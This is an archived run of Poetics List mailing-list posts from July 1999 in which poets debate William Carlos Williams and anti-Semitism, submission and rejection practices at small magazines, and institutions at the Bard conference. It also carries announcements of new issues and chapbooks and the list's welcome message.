Having said all this, I don't really want to venture any further on this subject of a comparison of institutional pedagogies. I just want to broach it as a question for further discussion; then I'd love to. Let me just say: I felt them deeply at the conference. Like, "I felt."

Perhaps it would be highly productive to address the question of "the institution" in this way at another conference, building on the excellent inaugural work that took place at Bard. To address the institution without getting hustled by promotional materials and advertorial jargon for this or that place would be the idea -- with poetry in the fore of attention. It would be interesting to hear about the DisEmbodied School of Breathing Nostrils, Kootenay School of Mountain-Comes-to-You, The Ivy League Drip, Popeye OPOYAZ, Creative Writers of Angelic Respiring in Mercedes Benzes, Romantic

Materialists' School of Adjunct Engineering in Germinalist Progressivity, School of Finicky Humanists With Bent Toward One's Own Wax of Descartes, Proceduralists International -- Division of Hypertext Incorporated, Subsidiary of MicroDisney, School of World Dominance in Literary Production Factories of North American Pressers, AvantGarde TM, and so on.

-louis

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147. A H Bramhall
The Rules Committee
Tue 13 Jul 1999

---

writing learns to start somewhere: that can't be helped. the word freezes because of willing passages of time. luckily, when time pulls thru, the rest of us can reclaim the land. the endless dialogue does things like that. finally, as in later that week, you'll look to see who spoke. were it that easy, everyone would crow. now it's only a little bit of night. there might be a mythology to follow, or squander. no time to look: merely waiting prepares us. now we have that gadget working; the signal can now be wielded. everybody spoke. the machine lives.

2) you weren't ready to listen because that's how messages wear out. I'm talking as a matter of fact. that seems like thriving to me.

3) poetry can be scruffy now, okay?

↑ Index

148. Michael Magee
Re: WCW, anti-semitism....
Tue 13 Jul 1999

Chris and all, I believe there's a book out recently on Williams's Latin Americanness, isn't there? Can't remember the author. And, interestingly, Williams was evidently part Jewish, as Mariani points out in his biography (p. 411): "Back in the early 20's, Williams had told Louis Untermeyer about his Jewish heritage and about his gentle grandfather Solomon Hoheb. But by 1937 the family situation had changed drastically. His brother Ed had never forgiven him for making his Jewishness public."

and there you
have it:
a Puerto Rican, Sephardic Jew
"American poet" in front of a bank.

-m.

According to Chris Stroffolino:
>
> > That particular quote of WCW's to Vazakas (a gay Reading-ite) does
> not, to me, seem particularly anti-semitic. He's pointing out a
> social irony--the germans kicked out the jews that invented the bomb
> that destroyed their allies. Even for a "non-public" statement, with
> all its attendant "freedom of expression" including flippancy, there
> is evident some feeling for the jewish there....
> On another point, is WCW's Puerto-Rican-ism. That he was himself
> trying to "pass". It's weird how little (in an age of identity politics)
> his puerto-rican element to the "american grain" is mentioned,
> though I hear SUNY-BUFFALO just accepted someone to its Ph.D. program
> who will deal with that issue in dissertation fashion....
>
> chris
>
> On Mon, 12 Jul 1999, Michael Magee wrote:
>
> > Kent's recent stipulation that "WCW was anti-semitic in a rather robust
> > way, no less than Ezra and T.S." is a real distortion - one loses all
> > sense of particulars when one implies that Williams, Pound and Eliot are
> > alike on this regard - and the inability to draw distinctions is a cousin
> > to the inability to act. I would suggest reading Williams's very complex
> > story "A Face of Stone." What Paul Mariani points out in his biography of
> > Williams seems basically true:
> >
> > "Despite accusations to the contrary, Williams was no anti-Semite. He
> > worked all his life closely with Jewish writers, from Kreyborg and
> > Bodenheim and Mina Loy to Zukofsky and West and Moss and Kamin and
Sol
> > Funaroff and later with Shapiro and Ignatow and Sidney Salt and Ginsberg
> > and Levertov and any number of others. He was, unquestionably, a
product
> > of his times and he did use the old comic-strip vulgarisms, allowing such
> > words as kike, nigger, wop, jap, frog, Polack and the rest of it to
> > infiltrate his speech and his letters. Nor did he always escape the
> > poular racial myths of his time."
> >
> > As someone currently writing about WCW's relationship to African-
American

> > culture, I'm senstive to the vexed nature of his approach to race - trust
> > me. But to simply call him anti-semitic or racist is to in fact say
> > nothing at all. Among other things, one ends up missing the crucial fact
> > of how the speech of ethnic minorities mediated Williams poetry: as in his
> > famous characterization of his poetry as coming "out of the mouths of
> > Polish mothers." Just who were these Polish mothers, do you think? I'd
> > suggest that, like the Polish woman in "A Face of Stone," they were Jews.
> >
> > Likewise, the quote by Williams on Hiroshima which Kent had
misremembered,
> > "The day following the atomic blast! -- the poor Jews who accomplished it.
> > Now we'll hate them worse than ever," seems to me bitterly ironic, fairly
> > complex and, in any event, worth more than a rubber stamped
condemnation.
> >
> > -m.
> >
>

↑ Index

149. **John Tranter**
Announcing Jacket # 7
Tue 13 Jul 1999

If you don't wish to receive notifications of new issues of Jacket magazine, please say so, and you will be removed from the mailing list pronto.
==========
= Last week JACKET's front page counter ticked over the 100,000 mark, indicating that more than one hundred thousand separate visits (visits, not hits) had been made to the site since the first issue in October 1997. Can there really be that many subtle, discerning souls out there in the aether? Help us celebrate -- visit Jacket # 7 -- now (more or less) complete, at this URL:

http://www.jacket.zip.com.au/jacket07/index.html

Jack Spicer Feature -- Guest Editor -- CHRISTOPHER W.ALEXANDER
Excerpt from Jack Spicer's 3rd Vancouver Lecture, 1965
Peter Gizzi, Introduction
Jack Spicer, the Lecture
Peter Gizzi, Afterword
Graham Foust:
Jack Spicer and the fiftieth anniversary issue of Poetry (Chicago)
James Herndon:

Jack Spicer and the art of Fran Herndon
Kevin Killian and Lewis Ellingham:
excerpt from "Poet Be Like God"
Anya Lewin:
"Things do not connect; they correspond"
Laura Moriarty's poem
"Spicer's City"
Kristin Prevallet:
Jack Spicer's Hell in "Homage to Creeley"
Linda Russo:
Joanne Kyger and the San Francisco Renaissance, 1957-65
Rob Wilson:
Tracking Jack Spicer: The "Afterlife" of a US Counter-Poetics
TIMELINE -- Historical events and the writings of Jack Spicer
==========
=
As well, heaps of photos, visuals, and Regular Features, including: :

COMMENT -- Elaine Equi - Unspeakable Ambitions

REVIEWS
Alice Notley on Kenward Elmslie
Andrew Joron on Peter Gizzi
Dale Smith on Lewis MacAdams
Juliana Spahr on Bernadette Mayer's book "Sonnets"
Tom Clark on Philip Whalen's "Overtime - Selected Poems" --
"While Kerouac heads out, Whalen tends to circle around slowly and return to certain obsessive themes and rhythms. His formal universe, as he advises John Cage in the poem quoted above, is not really unbounded space, but, like a tuned piano's, a 'closed system'. "

ARTICLES Libbie Rifkin on Anne Waldman, Bernadette Mayer and the Gender of an Avant-Garde Institution -- "Freed from the regulatory processes that would render larger-scale institutions at least marginally accountable to some measure of diversity, institutions in this mold could be more capricious and vehement in their exclusions than their mainstream counterparts. Of the last years of Black Mountain College, for instance, Martin Duberman has noted that 'the hierarchy could be as rigidly exclusive, as impassible to the uninitiated - and more male chauvinist - than anything found on a traditional university campus'. "

J.H.Prynne -- John Kinsella and Rod Mengham --
an Introduction to the poetry of J.H.Prynne

Leslie Scalapino - Secret Occurrence

Garrie Hutchinson - on Australian painter Arthur Boyd

PROSE POEM / Hazel Smith

POEMS / David Baratier, Gabriel Gudding, Joel Lewis, Stephen Oliver, Leslie Scalapino, Brian Kim Stefans, Rob Wilson, et alia

QUIZ / For readers of Jacket # 4 who attempted to identify the quotes in the Green Quiz, but failed to do so because of an incapacity due to sloth, delirium tremens or incompetence, the answers are given in Jacket # 7.
==========
= Jacket is a free literary quarterly published on the Internet by Australian poet John Tranter. If you like Jacket, please tell your friends.

↑ Index

150. **rebecca wolff**
Re: Submission Crucible
Tue 13 Jul 1999

> *Is it reasonable for a publisher who's mission statement reads something like, "We endeavor to publish the unorthdox, the uncategorizable, the kinds of work that no mainstream publisher would touch", to have submission guidelines like, "Query with sample chapters and a plot synopsis"? No.*

Just for the record, since this sounds like it's talking about Fence: We don't ask for queries or sample chapters or etc.

Since this thread seems to be viable, I'd like to ask a question, a marketing question:

Mr. Waber proposes that rejection letters ought to be accompanied by a subscription form or some similar form of encouragement. I think this is a great idea, and in fact had meant to do just that when starting Fence, but was voted down by the rest of the Fence people on grounds of "adding insult to injury," "rubbing salt in the wound," etc. What do y'all think about this? Would you feel insulted, salted, annoyed, demeaned or otherwise antagonized by such an enclosure?

I'd really like to know. Because we'd really like to have more subscribers.

↑ Index

151. **Douglas Barbour**
Re: Carnivocal
Tue 13 Jul 1999

I want to apologize to anyone who has already tried to order Carnivocal in the US. I posted the publicity on it in all innocence, but then someone wrote to tell

me she had tried to order it & General had no knowledge of it. So I checked with Red Deer Press and received the following reply:

<<I actually forgot to mention that all of our fall titles become spring titles in the States. So, Carnivocal will not be available in the States until the Spring.>>

Um, it seems that in my desire to advertize I jumped the gun a bit. If I can find out that orders can be sent directly to Canada, I will let the list know...

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta Canada T6G 2E5
(h) [780] [redacted] (b) [780] [redacted]
http://www.ualberta.ca/~dbarbour/dbhome.htm

> A bottle thrown
> by loggers out of a wagon
> past midnight
> explodes against rock.
> This green fragment has behind it
> the _booomm_ when glass
> tears free of of its smoothness
>
> Michael Ondaatje

↑ Index

152. Douglas Barbour
Re: submission guidelines
Tue 13 Jul 1999

Gee, it's all very interesting reading the back & forth here, but I must say I still tend to go with what a poet/editor told me many years ago: send in some poems & a SASE. The poems should speak for themselves. And I have to dmit that when I did edit, I found most accompanying letters got in the way...

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta Canada T6G 2E5
(h) [780] [redacted] (b) [780] [redacted]
http://www.ualberta.ca/~dbarbour/dbhome.htm

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> by loggers out of a wagon
> past midnight

explodes against rock.
This green fragment has behind it
the _booomm_ when glass
tears free of of its smoothness

Michael Ondaatje

↑ Index

153. Taylor Brady
Re: bard conf
Tue 13 Jul 1999

Bill,

A good hat goes a long way -- possible I cribbed that bit of my "method" from one of the pieces in your "Works and Days"? Also, channeling John Lurie's voiceover on John Zorn's "Spillane" doesn't hurt.

Taylor

> *on another note, i was crushed to learn that taylor brady had, elsewhere, performed the part of jena's detective better than i. and this after robert ("a word is anything that can be erased") kelly axed me if i had ever had acting lessons. o jena, i have proclaimed my love for you countless times and yet continue to be spurned. taylor, what is your secret?*

↑ Index

154. Poetics List
Welcome Message recap
Tue 13 Jul 1999

Welcome to the Poetics List & The Electronic Poetry Center

..sponsored by The Poetics Program, Department of English, College of Arts & Science, the State University of New York, Buffalo /// Postal Address: Poetics Program, 438 Clemens Hall, SUNY Buffalo, NY 14260

Poetics List Moderator: Christopher W. Alexander
Please address all inquiries to <[redacted]>.

Electronic Poetry Center: <http://epc.buffalo.edu>

= Contents =
1. About the Poetics List
2. Subscriptions
3. Submissions

4. Cautions
5. Digest Option
6. Temporarily turning off Poetics mail
7. "No Review" Policy
8. The Electronic Poetry Center (EPC)
9. Poetics Archives at EPC
10. Publishers & Editors Read This!

Above the world-weary horizons
New obstacles for exchange
arise Or unfold,
O ye postmasters!

1. About the Poetics List

With the preceeding epigraph, the Poetics List was founded by Charles Bernstein in late 1993. Now in its second incarnation, the list carries over 750 subscribers, though all of these subscribers do not necessarily receive messages at any given time. A number of other people read the Poetics List via our web archives at the Electronic Poetry Center (see section 9 below).

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list relatively small and the volume manageable.

increasing number of subscribers, we are no longer able to maintain the open format with which the list began (at under 100 subscribers). All submissions are reviewed by the moderator in keeping with the goals of the list, as articulated in this Welcome Message. We remain committed to this editorial function as a defining element of the Poetics List. Our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible.

For further information on posting to the list, see section 5 below. Publishers and series co-ordinators, see also section 10.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. Brief reviews of poetry events and publications are always welcome. See section 7 for details.

We recognize that other lists may sponsor other possibilities for exchange in this still-new medium. We request that those participating in this forum keep in

mind the specialized and focussed nature of this project. For subscription information or to contact the editors, write to <[redacted]>.

---

2. Subscriptions

Subscriptions to the Poetics List are free of charge, but formal registration is required. We ask that when you subscribe you provide your full name, street address, email address, and telephone number. All posts to the list should provide your full real name, as registered. If there is any discrepancy between your full name as it appears in the "from" line of the message header, please sign your post at the bottom.

<[redacted]>. Your message should include all of the required information. Please allow several days for your new or re-subscription to take effect.

PLEASE NOTE: All subscription-related information and correspondence remains absolutely confidential.

To unsubscribe, send this one-line message, with no "subject" line to <[redacted]>:

*If you are having difficulty unsubscribing, please note: sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to continue to receive mail from the Poetics List. To avoid this problem, unsub using your old address, then return to your new address and send this one-line message, with no "subject" line to <[redacted]>:

Remember to replace "Phil Spillway" with your own name. If you find that it is not possible to unsub using your old address, please contact the editors at <[redacted]> for assistance.

*Eudora users: if your email address has been changed, you may still be able to unsubscribe without assistance. Go to the "Tools" menu in Eudora, select "Options" and then select setup for "Sending Mail": you may be able to temporarily substitute your old address here to send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increased quota from your system administrator. (University subscribers may wish to argue that this subscription is part of your scholarly communication!) You might also consider obtaining a commercial account. In general, if a Poetics message is bounced from your account, your subscription to Poetics will be temporarily suspended. If this happens, you may re-subscribe to the list by contacting the list administrators at <[redacted]>.

All questions about subscriptions, whether about an individual subscription or subscription policy, should be addressed to the list's administrative address <[redacted]>. Please note that it may take up to ten days, or more, for us to reply to messages.

---

3. Submissions

are reviewed by the editors in keeping with the goals of the list as articulated in this Welcome Message (see section 1). Please note that while this list is primarily concerned with poetics, messages relating to politics and political news or activism will also be considered. Other sorts of news or queries are welcome occasionally; please use "common sense" when posting and keep in mind that your message, if forwarded, will be distributed to 750+ persons the world over. Feel free to query if you are uncertain as to whether a message is appropriate. All correspondence with the editors regarding submissions to the list remains confidential and should be directed to us at <[redacted]>.

We encourage subscribers to post information on publications and reading series that they have coordinated, edited, published, or in which they appear. Such announcements constitute a core function of this list. Also welcome are other sorts of news, e.g., event reports, obituaries, and reading lists (annotated or not).

Queries may be posted to the list when deemed appropriate; if responses are received backchannel and are of interest to the list (i.e., if they are on topic), we request that the posting subscriber assemble "highlights" from respondents' posts to be published to the list.

Solicited submissions (by subscribers or non-subscribers) may also appear on Poetics from time to time. The editors reserve the right to contact any subscriber regarding possible submissions.

Posts to the Poetics List should abide by the rules of "Fair Use" when quoting material for which the posting subscriber does not hold copyright. Please do not post to the list personal or "backchannel" correspondence, or other unpublished material, without the express permission of the author!

If you want someone to send out information to the list as a whole, or supply information missing from an post, or thank someone for posting something you requested, please send the request or comment directly to that individual, and not to the list or to the list editors.

Send messages to the list directly to the list address:

<[redacted]>

Please do not send messages intended for posting to the list to our administrative address <[redacted]>.

When sending to the list, please send only "plain text". Note, however, there is no problem with sending clickable URLs in HTML format.

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot decode attached or specially formatted files. The use of "styled" text or HTML formatting in the body of email posts to the list appears not to be compatible with the the list's automatic digest program; as a result such messages disrupt the format of the Digest, even though this coding is readable for some subscribers who do not use the digest option.

Like all machines, the listserver will sometimes be down: if you feel your message has been delayed or lost, *please wait at least one day to see if it shows up*, then check the archive to be sure the message is not posted there; if you still feel there is a problem, you may wish to contact the editors at <[redacted]>.

As an outside maximum, we will accept for publication to Poetics no more than 5 messages a day from any one subscriber; in general, we expect subscribers to keep their post to less than 10-15 posts per month. Our goal is a manageable list (manageable both for moderators and subscribers) of twenty or fewer messages per day.

For further information or to contact the editors, please write to <[redacted]>.

---

4. Cautions

It may take up to a week or more to respond to your questions or to subscription requests or to handle any other editorial business or any nonautomated aspect of list maintenance.

Submissions to the list should be in ASC-II (text-only) format and should contain NO HTML TAGS! HTML tags interfere with the automatic digest and archive functions of the listserv program, and will not be forwarded to the list. Subscribers using Microsoft Outlook, Netscape Communicator and like applications to manage their email service should check the "Preferences" or "Options" section of the program in question to be sure that HTML formatting options are disabled before posting to the list.

Attachments may not be sent to the Poetics List. Messages containing attachments will be presumed to be worm- or virus-carrying and will not be forwarded to the list.

Please do not publish list correspondence without the express permission of the author! Copyright for all material posted on Poetics remains with the author; material from this list and its archive may not be reproduced without the author's permission, beyond the standard rights accorded by "fair use".

"Flame" messages will not be tolerated on the Poetics List. In this category are included messages gratuitously attacking fellow listees, also messages designed to "waste bandwidth" or cause the list to reach its daily limit. These messages are considered offensive and detrimental to list discussion. Please do not bother submitting such messages to the editor. Offending subscribers will receive only one warning message. Repeat offenders will be removed from the list immediately. Please do not put this policy to test!

---

5. Digest Option

The Listserve program gives you the option to receive all the posted Poetics message each day as a single message. If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option.

Send this one-line message, with no "subject" line to
<[redacted]>:

set poetics digest

You can switch back to individual messages by sending this message:

set poetics mail

NOTE!! Send these messages to "listserv" not to Poetics or as a reply to this Welcome Message!!

---

6. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail.

You can temporarily turn off your Poetics subscription by
sending this one-line message, with no "subject" line, to
<[redacted]>:

set poetics nomail

You may re-activate your poetics subscription by sending this one-line message, with no "subject" line, to the same address:

set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See section 8 below.)

---

7. "No Review" policy

For the safety and security of list subscribers, the "review" function of the Poetics List has been de-activated. Non-posting subscribers' email addresses will remain confidential. Please do not ask the list editors to give out subscriber addresses or other personal information.

---

8. What is the Electronic Poetry Center?

The World Wide Web-based Electronic Poetry Center is located at <http://epc.buffalo.edu>.

Our mission is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and around the world. The Center provides access to the burgeoning electronic resources in new poetries including RIF/T and many other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts and bibliographies, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequeño Glazier.

---

9. Poetics Archives at the EPC

Go to the Electronic Poetry Center <http://epc.buffalo.edu> and select the "Poetics" link from the opening screen. Follow the links to Poetics Archives. Or set your browser to go directly to <http://listserv.acsu.buffalo.edu/archives/poetics.html>.

You may browse the Poetics List archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

---

10. Publishers & Editors Read This!

PUBLISHERS & EDITORS: The Electronic Poetry Center listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible for our users and ENCOURAGE you to participate!

Send a list of your press/publications to
<[redacted]>, with the words EPC Press Listing in
the subject line.

You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your word processor will save files in Rich Text Format (.rtf) this is also highly desirable.

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs or backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

You might also want to send short announcements of new publications directly to the Poetics List as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME MSG

↑ Index

155. **Lowther,John**
Submission Crucible
Tue 13 Jul 1999

> *hey rebecca*
>
> *i can't imagine being offended by receiving a subscription form or info to that effect with a rejection*
>
> *also i don't think that the quote (who was that? waber?) sounds like it's trying to mimic/mock you folks at fence*

> *anyway*
>
> *)L*
>
> *-----Original Message-----*
> *From: rebecca wolff [SMTP:[redacted]]*
> *Sent: Tuesday, July 13, 1999 10:03 AM*
> *To: [redacted]*
> *Subject: Re: Submission Crucible*
>
> *Is it reasonable for a publisher who's mission statement reads something like, "We endeavor to publish the unorthdox, the uncategorizable, the kinds of work that no mainstream publisher would touch", to have submission guidelines like, "Query with sample chapters and a plot synopsis"? No.*
>
> *Just for the record, since this sounds like it's talking about Fence: We don't ask for queries or sample chapters or etc.*
>
> *Since this thread seems to be viable, I'd like to ask a question, a marketing question:*
>
> *Mr. Waber proposes that rejection letters ought to be accompanied by a subscription form or some similar form of encouragement. I think this is a great idea, and in fact had meant to do just that when starting Fence, but was voted down by the rest of the Fence people on grounds of "adding insult to injury," "rubbing salt in the wound," etc. What do y'all think about this? Would you feel insulted, salted, annoyed, demeaned or otherwise antagonized by such an enclosure?*
>
> *I'd really like to know. Because we'd really like to have more subscribers.*

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156. **katy**
Re: Submission Crucible
Tue 13 Jul 1999

I think it's absolutely reasonable.

Katy Lederer

<PRE>
>Is it reasonable for a publisher who's mission statement reads something
>like, "We endeavor to publish the unorthdox, the uncategorizable, the kinds

>of work that no mainstream publisher would touch", to have submission
>guidelines like, "Query with sample chapters and a plot synopsis"? No.

Just for the record, since this sounds like it's talking about Fence: We don't ask for queries or sample chapters or etc.

Since this thread seems to be viable, I'd like to ask a question, a marketing question:

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I'd really like to know. Because we'd really like to have more subscribers.

</PRE>

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157. Mike Kelleher
a l y r i c m a i l e r 12
Tue 13 Jul 1999

Hi Folks,

a l y r i c m a i l e r 12:

William R. Howes Translations of Emily Dickinsons Poems as Microscopic Alphabetic Organisms Compared to Emily Dickinsons Poems as Microscopic Alphabetic Organisms.

by Michael Basinski

is up at

http://writing.upenn.edu/spc/alyric/alyric12.html

"Auraloralvisual pyrotechnics" - Newsweek
"Saucy." -Tracey Lordes

Enjoy,

Mike

↑ Index

158. **Maria Damon**
Re: bard conf
Tue 13 Jul 1999

At 2:51 AM -0400 7/13/99, Louis Cabri wrote:

> *Academic institutions were for the most part represented implicitly at the conference. Their representation was by no means an agenda of the conference. The explicit agenda in this regard was, it seemed to me, to represent some poets as autonomous published individuals, ready for special hire to spread the word in existing institutional structures. (I don't mean to suggest that this was the agenda of the conference as a whole, but only with respect to this issue I am presenting, after-the-conference -- the issue of the institution.)*
>
> *Here I just want to barely even hint at a few things - after my experiences at the conference - from the vantage-point, and the question, of institutional affiliation. (Perhaps the word "institution" is a-buzz in my head because of a discussion on a listserve the other month, in conjunction with a panel at Writes House on the same subject -- with Shawn Walker, Josh Schuster, Al Filreis. Perhaps not.)*

just wanted to say that I (maria d) explicitly drew attention to the fact that many different institutional/ pedagogical contexts were represented at the conference and that we'd do well to articulate some of those distinctions and what they meant. also, michael davidson, in a different way, during his talk, dwelt a great deal on academic institutions and their entanglement with various sorts of funding that affect what gets taught, what poetry gets written, how things get framed ideologically, etc. Also, Lyn H made the very apt comment that it is our institutions that need to be re-educated, not necessarily our students.

↑ Index

159. **Stephen Vincent**
Re: Williams Tombstone Sweepers etc.
Tue 13 Jul 1999

Kent Johnson's righteousness - or at least that tone - about nailing WCW to an anti-Semitic cross seems to me to indulge an easy dichotomy. I am not sure if Johnson's trying to throw the Doctor out with the bath water, but I always get uncomfortable when anyone (myself included) goes to the Holy ground with an implicit claim of purity - what ever might be the issue. I would go as far to say that my opposition to anti-Semitic, anti-Palestinian, racist, homophobic or any

other abusive behavior involves a personal acknowledgment and desire to exorcise some part of my person that has inherited or learned those behaviors (via ample examples whether in the language or acted out on the street). I suspect there will always be that tension and fight in the culture, at least my experience of it. But going back to Williams, is it possible to view his double-dipping into offensive, particularly anti-Semitic language in the context of his half or part Jewishness? In fact, in the same breath, has any critic delved into this internal pluralism as one of the ways of looking into at least part of William's interest and willingness to take on American culture as a pluralistic condition. (Whereas Eliot and Pound, in the face of the European migrations of the turn of the century, clearly took the xenophobic route out of the country.) WCW is one of a number of great writers in this century who are half or part Jewish. In the context of the evidence and questions surrounding his anti-Semitic quotes, I think of Proust who, on one hand, was one of the public leaders in the fight to free Dreyfus and, on the other, Remembrance of Things Past has a strong share of anti-Semitic caricatures. I suspect these internal battles are part of the condition of being a blend of different cultures.

Not being Jewish, I, nevertheless, do have a sense that the issues raised by those who are half-Jewish (in relationship to Jews and non-Jews) is bubbling as something not spoken or addressed, perhaps ignored by some as a painful taboo, or somehow an embarrassment to acknowledge. As to why, I cannot speak. These are issues, of course, that can be raised about the work of any writer who comes out of a biological blend of any historically oppositional groups (and perhaps classes). I suspect for many who carry such blends, it's both a gift and a curse - leading to these curious quandaries of point of view that come up in Williams and others. These blends and the particular consequent larger social overview, however, clearly lead to some great writing.

Cheers,
Stephen Vincent

Kent Johnson wrote:

> *Michael:*

More later, but for now just to point out that this quote from Mariani is rather pathetic as a "defense." Pound had strong relationships with Jewish writers too. One can be subject to "the popular racial myths of his time" and still have lots of chummy relationships with the subaltern other! (Remember Yugoslavia?)

And as for those "comic-strip vulgarisms" (the Jewish kids in Brooklyn ate those comics right up, didn't they?) that suffuse WCW's letters, does Mariani imply that _everyone_ was using them? Of course WCW was a "product of his time" as are we all, and of course he's a "complex" figure. But choices can still be made, and one is not condemned (especially one whose self-proclaimed task is to

cleanse the language!) to topple headlong into the most hateful vocabulary. Mariani's little quote is quite simply apologetic slop of the hero-worshipping kind.

And as for your reading of the "irony" in Williams's remark about the Jews and the Bomb, I doubt it. "Kike" pops up like dandelions in May in his letters and little irony is apparent. Be careful here. It's one thing to misread comments about ready-made classroom phrases that Language poets use; this is something of a more serious kind.

Kent>>

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160. Robin Kemp
My new chapbook! (Shameless plug)
Tue 13 Jul 1999

Dear poet friends:

I am putting out my second chapbook, titled "Goin' For Broke", for the simple reason that I hope to use the proceeds to pay my fall tuition! It's a mix of formal, narrative, and experimental free-verse poetry -- some of which has been or will be published elsewhere; others of which actually won an award.

For those of you who have my 1994 chapbook "Brave Walking," I am pleased to say that the work in this chapbook is even better!

Each copy is $5. (An extra buck for postage and handling is gratefully accepted.) If you're interested, please backchannel me your snail-mail address, or mail check/m.o. directly to:

Robin Kemp
1107 Dante St.
New Orleans, LA
70118-2027

Selling poetry to pay for school?! It may sound impossible, but I think it will happen if I can sell about 250 copies by August 17. (Registration is the 18th; so far I am almost 1/3 of the way there. If I sell 75 books = 1 class, 147 books = 2 classes, 237 books = 3 classes.)

Thank you, everybody! And a special shout out to my friends in Atlanta and Philly/West Chester!

Much love,
Robin

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161. **jarnot**
address query
Tue 13 Jul 1999

I am looking for addresses (regular or email) for the following people:

Amiri Baraka
Beverly Dahlen
Serge Fauchereau
John Granger
Thom Gunn
Drummond Hadley
George Herms
Joanna McClure
Irving Petlin
Gustaf Sobin

Any assistance would be greatly appreciated. Please back channel me at
[redacted]

Thanks,
Lisa Jarnot

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162. **Brian Lennon**
Re: Submission Crucible
Tue 13 Jul 1999

---two more cents' worth:

When subscription invitations are included with rejection slips, they inevitably end up being sent to submitters who have already subscribed to the publication. For a submitter, this is just as impersonal and irritating as it is for an editor to receive submissions from writers who clearly haven't looked at the magazine. Surely every member of a magazine's staff ought to know the subscriber list by heart, right???

It also implicitly links the rejection of work to the failure to subscribe, which I think is a mistake. In my two years at The Iowa Review, the best work I saw almost always came in cold--- often multiply submitted, from names I didn't know, and generally unconcerned with whether it was like anything we'd ever published before. The result is that every issue changed our own idea of "what we publish."

Finding enough money to keep going is a huge problem, yes. But the problems really start when you begin to feel guilty rejecting subscribers/supporters.

Brian Lennon

rebecca wolff wrote:
<snip>
>Mr. Waber proposes that rejection letters ought to be accompanied by a
>subscription form or some similar form of encouragement. I think this is a
>great idea, and in fact had meant to do just that when starting Fence, but
>was voted down by the rest of the Fence people on grounds of "adding insult
>to injury," "rubbing salt in the wound," etc. What do y'all think about
>this? Would you feel insulted, salted, annoyed, demeaned or otherwise
>antagonized by such an enclosure?
>
>I'd really like to know. Because we'd really like to have more subscribers.
>

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163. Juliana Spahr
Re: POETICS Digest - 10 Jul 1999 to 11 Jul 1999 (#1999-133)
Tue 13 Jul 1999

Meant subject line to be placeless yet can't figure out how to change in pine.

My only concern abaout place was that it kept getting presented as an absolute. Like I kept hearing, first get a place.

And that worried me b/c I can't get a place. I squatted one at U of Hawai'i and then the football team squatted on top of me. I got crushed under their equipment and had to get out.

So I wanted to say, there are things to do that aren't about place. Like I think it is really great that the Writers House, got a house, got a $40,000 startup, tehn got another million. I think that is the best thing ever. And I love the Writers House devotedly.

But I think one could also take $20,000, if one can get that, and give it to graduate student and they can make 4 journals and two chapbooks eries and then yahoo, they've got a place in a different sense.

Or I would rather have production over housing.

But I do realize that sometimes one can have both. Which I imagine U Penn can have.

And when you can get both, one should get both.

So my point was not very profound. Just reflecting my anxiety wfrom a university that went from spending $4 aa square foot five years ago to $.32 a square foot last year.

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164. **Stephen Ellis**
Re: soapbox of submission
Tue 13 Jul 1999

Why do poets need to submit to anything? Given that we mostly believe each our authority to be absolute in the realm of composition, and by extension, to everything else that reference and/or non-references touches or "may" touch,

it seems ridiculous to suddenly be compelled to convince some stranger, by letter, what a great guy you are, and that s/he should publish your accompanying poems, because, and because, ad nauseum. Silly to feel responsible for reading them, sure, and no doubt horrifying to actually write one,

an alternative may be working quietly and patiently toward, well, what "end" is anyone working toward of late in The Art anyway? It might be a relief & pleasure to print your own poems, read/send them to friends, while writing occasionally to the editors of those publications that excite you and (try to) say in not inconsiderable terms what it is about the work in question so makes it with you, etcetera. Eventually someone may actually ASK for poems. I mean

let's don't be coy about it, one home truth is that the (poetry) publishing enterprise IS related to personal relationships between and among those who appear in this or that publication, ie., it's all very much clan-oriented, despite claims to objectivity, plurality and all that, at base, one publishes those who they admire. Reasons for admiration are numerous, but in most cases it's something that can't be conspired toward in a cover letter. I don't know ...

maybe there's too much "submitting" going on, without there being much groundwork laid out in terms of intersecting or common interests between those who have the Work and those who guide the Magazines.

And then again, there's likely little groundword laid out in the efforts of those who submit blindly to the idea that blind submission leads somewhere beyond the prices of the stamps. It might be useful for us all to take some measure of what it is we are doing (beyond submitting), and WHO it is we are doing the how and why of it FOR.

